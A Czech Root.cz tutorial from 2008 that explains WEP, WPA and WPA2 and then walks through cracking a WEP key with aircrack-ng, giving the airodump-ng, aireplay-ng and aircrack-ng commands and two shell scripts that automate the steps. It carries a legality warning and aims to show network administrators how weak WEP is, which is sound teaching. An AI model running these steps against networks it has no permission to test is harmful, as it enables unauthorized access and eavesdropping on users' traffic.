Aircrack-ng: napadení WEP sítí

14. 10. 2008
Doba čtení: 7 minut

Sdílet

Pokud nemá být bezdrátová síť veřejná, měla by používat jednu z možností zabezpečení, která nemusí nutně vést k použití šifrování na linkové vrstvě. Dnes nejčastěji používanou metodou při zabezpečování sítě je WEP/WPA/WPA2. V tomto článku si ukážeme, že první možnost prakticky zabezpečení není.

Úvod

K napsání tohoto článku mě vedl fakt, že většina bezdrátových sítí v mém okolí včetně části té naší stále používá WEP šifrování nebo vůbec žádné. S WPA se tu prakticky nedá najít žádné AP, kromě pár výjimek, a na WPA2 není šance tu narazit vůbec. Kvůli slabému zabezpečení některých spojů jsem se rozhodl pro jednu z příštích schůzí správců oblastí předvést, jak jednoduše se dá WEP prolomit a jak se dostat k informacím, které po síti putují. K tomu jsem použil nástroje aircrack-ng.

Proč je šifrování důležité

Při volbě zabezpečení v naší síti nám nejde často ani tak o fakt, že by se mohl někdo připojit, ale že data uživatelů cestují ve vzduchu jakkoli nezabezpečena. Pro znesnadnění odposlouchávání sítě se nejčastěji používá šifrování na linkové vrstvě. O všechno se pak stará WiFi část. Není to jediné možné řešení. Můžeme se setkat i s otevřenými sítěmi, které jsou šifrované pomocí IPsec tunelu, což je návrhově čistší řešení, které jde ruku v ruce s problémy.

Možnosti

Pro zabezpečení na linkové vrstvě se nejčastěji používá WEP,WPA nebo WPA2. Cílem článku je ukázat, že v případě WEP se o zabezpečení prakticky nejedná. WPA a WPA2 jsou v rozumném čase neprolomitelné a prakticky jiná možnost než slovníkový nebo „brute force“ útok nejde použít i přesto, že je WPA slabší než WPA2. Nebudu se zabývat šifrováním do podrobna, ale uvedu pouze základní popis.

WEP

WEP je dnes stále často používané řešení bezpečnosti v bezdrátových sítích. Dá se najít u řady profesionálních poskytovatelů Internetu. Kromě „lenosti“ administrátorů je jeho rozšíření patrně důsledkem nekompatibility u staršího zařízení.

WEP klíč může být 64 až 256 bitový (u některých výrobců), ale častěji narazíme na 128 bitový. WEP klíč se skládá z inicializačního vektoru (IV) a samotného klíče. Šifrovací metoda, která je použita se nazývá RC4. Je velmi rychlá, ale v některých případech napadnutelná. Pro útok na APčka zabezpečená WEP klíčem jsou důležité inicializační vektory a jejich počet určuje úspěšnost nalezení klíče. V jednom z mých pokusů mi na 128 bitový klíč stačilo přibližně 25 000 inicializačních vektorů.

Existuje více verzí WEP zabezpečení, ale v praxi se s nimi tak často nesetkáte.

WPA

WPA vzniklo jako reakce na slabiny WEP. Jedná se o část návrhu WPA2, která byla implementována výrobci ještě předtím, než bylo uvolněno. Z WPA2 je použit jeho třetí návrh a neobsahuje vlastnosti, které WPA2 ano. WPA je navrženo pro karty, které podporují WEP. Z toho vyplývá mnohem lepší kompatibilita i se staršími zařízeními. Hlavní změnou oproti WEP je TKIP. To je protokol, který zajišťuje pravidelnou výměnu klíčů mezi AP a klienty.

V praxi se setkáme se dvěma druhy použití WPA.

  • WPA-PSK
  • WPA-EAP

První z nich se hodí pro použití v malých sítích jako je třeba kancelář, domácí síť, možná i propojení sousedů. Spočívá v tom, že se pro přístup do sítě používá heslo a další komunikace už se řídí přes měnící se klíče.

WPA-EAP je popsáno v 802.11×, kdy se pro ověření uživatele používá uživatelské jméno a heslo. Ověření probíhá na ověřovacím serveru. Tohle řešení je dobré například pro firmy, kde každý zaměstnanec má vlastní přístupové údaje, které nepoužívá pouze v kombinaci s přípojením do intranetu, ale také třeba pro přihlášení na firemní počítače.

WPA2

Standard WPA2 je „dotažené“ WPA podle specifikace IEEE 802.11i. Přináší mnohem bezpečnější algoritmus režim CCMP. Nevýhodou je nekompatibilita některých zařízení mezi sebou a prakticky žádná podpora u zařízení vyvinutých před rokem 2006. Dnes většina prodávaných notebooků, routerů a WiFi karet WPA2 podporuje. Praxe ale ukázala, že i když 2 zařízení podporují WPA2, rozdíly v implementaci nedovolily dvěma bodům se spojit.

IPsec

Existují i názory, že by se šifrování nemělo na linkové úrovni vůbec řešit a měl by se použít tunel IPsec. Více informací lze najít v článku o IPsec na Root.cz.

Legálnost

U nás a v mnoha dalších státech není legální nabourávat se do cizích sítí. Proto následující postup nepoužívejte na AP, ke kterým nemáte svolení od majitele.

Co zvolit za hardware

Dalo by se říci, že obecně platí pravidlo „Na Linuxu jedině Atheros“ a v tomto případě to nebude jiné. Ale i v Atheros chipsetech pro WiFi karty se najdou nepodporované výjimky. Další chipsety, které můžete zvolit jsou třeba od firem RaLink, Intel nebo Broadcom.

Já pro tyto účely používám kartu Intel 4965AGN a té se také budou týkat návod, který by měl s minimální změnou fungovat i u ostatních karet.

Aircrack-ng

Co musí ovladač podporovat

Vlastnost, kterou pro „otevírání“ zašifrovaných APček potřebujeme, se jmenuje „packet injection“. Ta dovoluje odesílat nástroji aircracku modifikované pakety ven.

Linuxový kernel se packet injection úspěšně brání, standardně ho nepodporuje. Pro moji kartu stačí použít jediný patch. Pro ostatní karty se množství patchů může lišit. Není problém najít patche přes google nebo na stránkách aircracku.

Postup

Než začneme, musíme přepnout WiFi kartu do „Monitor“ módu (wlan0 nahraďte vlastním interfacem) a nastavit kanál.

ip l s wlan0 down
iwconfig wlan0 mode Monitor channel X 

Dalším krokem je spuštění zachytávání paketů.

airodump-ng -c <kanál> --bssid <cílová MAC adresa> -w <log soubor> wlan0 

Volba -c nastavuje kanál, –bssid adresu APčka, které se má napadnout a -w je cesta k logovacímu souboru. Na konci se uvádí náš interface.

Hned po té otestujeme, jestli jede „Packet injection“.

aircrack1
godie ~ # aireplay-ng -9 wlan0
18:37:29  Trying broadcast probe requests...
18:37:29  Injection is working!
18:37:30  Found 2 APs
[...] 

Pokud se neobjeví nápis „Injection is working!“, tak to nemusí znamenat, že něco je špatně. Občas pomůže spustit logování provozu v předchozím kroku. Někdy zase je potřeba znovu načíst ovladač.

Než začneme s útokem, ještě se musíme k APčku přihlásit, abychom mohli „injektovat“ vlastní pakety a AP je neignorovalo.

aireplay-ng -1 6000 -o 1 -q 10 -e <essid> -a <mac cíle> -h <moje mac> wlan0 

Číslo 6000 znamená, že se každých 6 sekund pokusí karta o autentifikaci a autorizaci s APčkem. Volba „-o 1“ zajistí, aby se odeslala pouze jedna skupina paketů nutných pro autentifikaci a autorizaci. Další volba „-q 10“ nastavuje jak často se mají posílat keep alive pakety v sekundách.

Teď už nám funguje logování provozu, jsme asociovaní s APčkem a víme, že packet injection funguje. Je na čase spustit jednu z možností jak ovlivňovat APčko našimi pakety. Tím získáme potřebný přenos dat a APčko nám bude posílat v potřebném množství paketů, které potřebujeme.

aircrack2

Bez packet injection je napadnutí APčka také možné, ale trvá to nesrovnatelně déle.

Posledním krokem je spuštění analýzy paketů.

aircrack-ng -z -b <cílová mac> <log soubor>*.cap 

Program se bude pokoušet každých 5000 přijatých inicializačních vektorů o výpočet klíče. Pokud se mu to povede, tak ho vypíše a akce je úspěšná.

Pomocné skripty

Pro jednoduší ovládání jsem napsal dva skripty, které ulehčují práci při spouštění jednotlivých kroků. Akce z každého kroku musí běžet najednou každá ve svém shellu, takže opisování MAC adres a dalších údajů není nejpohodlnější řešení.

První skript crackwifi.sh

#!/bin/sh
MYMAC=$2
TARGETMAC=$3
ESSID=$4
LOG=$6
C=$5

case $1 in
        "-h" )
                echo "$0 <X/4> <moje mac> <cílová mac> <essid> <kanál> <log>"
        ;;
        "1" )
                echo "Krok jedna:"
                airodump-ng -c $C --bssid $TARGETMAC -w $LOG wlan0
        ;;
        "2" )
                echo "Krok dvě:"
                # Normální
                #aireplay-ng -1 0 -e $ESSID -a $TARGETMAC -h $MYMAC wlan0
                # Rozmazlená APčka
                aireplay-ng -1 6000 -o 1 -q 10 -e $ESSID -a $TARGETMAC -h $MYMAC wlan0
        ;;
        "3" )
                echo "Krok tři:"
                aireplay-ng -3 -b $TARGETMAC -h $MYMAC wlan0
        ;;
        "4" )
                echo "Krok čtyři:"
                aircrack-ng -z -b $TARGETMAC $LOG*.cap
        ;;
esac 

Druhý skript fight.sh

#!/bin/sh
ESSID=TEST
MYMAC=00:21:5c:47:49:33
TARGETMAC=00:4F:67:03:51:30
CHANNEL=1
LOG=/tmp/test

if [ "$1" == "r" ]; then
        rmmod iwlagn
        rmmod iwlcore
        rmmod rfkill
        sleep 1
        modprobe iwlagn
fi
if [ "$1" == "s" ]; then
        rmmod iwlagn
        rmmod iwlcore
        rmmod rfkill
        sleep 2
        modprobe iwlagn
        sleep 1
        ip l s wlan0 down
        iwconfig wlan0 mode Monitor
        ip l s wlan0 up
        sleep 2
fi
sh crackwifi.sh $1 $MYMAC $TARGETMAC $ESSID $CHANNEL $LOG 

Použití skriptů

Informace o síti, kterou chceme napadnout nastavíme na začátku skriptu fight.sh. Skripty budou možná potřebovat menší úpravy pro vaše WiFi karty a vás systém.

Zapnutí monitor módu:

sh fight.sh s 

Navrácení WiFi karty do původního stavu:

sh fight.sh r 

Krok 1 (Zapnutí logování):

sh fight.sh 1 

Krok 2 (Připojení k AP):

sh fight.sh 2 

Krok 3 (Injektování paketů):

bitcoin_skoleni

sh fight.sh 3 

Krok 4 (Analýza zalogovaných paketů a nalezení klíče):

sh fight.sh 4 
aircrack3

Závěr

Byl jsem rychlostí výpočtu 128 bitového klíče překvapen a po několika přenesených kB přes napadnutou WiFi byl klíč nalezen. Celá akce trvala přibližně 10 minut. Pokud zkouším napadnout naše APčka venku, už to není tak jednoduché a chvilku to trvá. Nejedná se o dny ale spíše desítky minut podle signálu.

Odkazy

Autor článku

Adam Štrauch je redaktorem serveru Root.cz a svobodný software nasazuje jak na desktopech tak i na routerech a serverech. Ve svém volném čase se stará o komunitní síť, ve které je již přes 100 členů.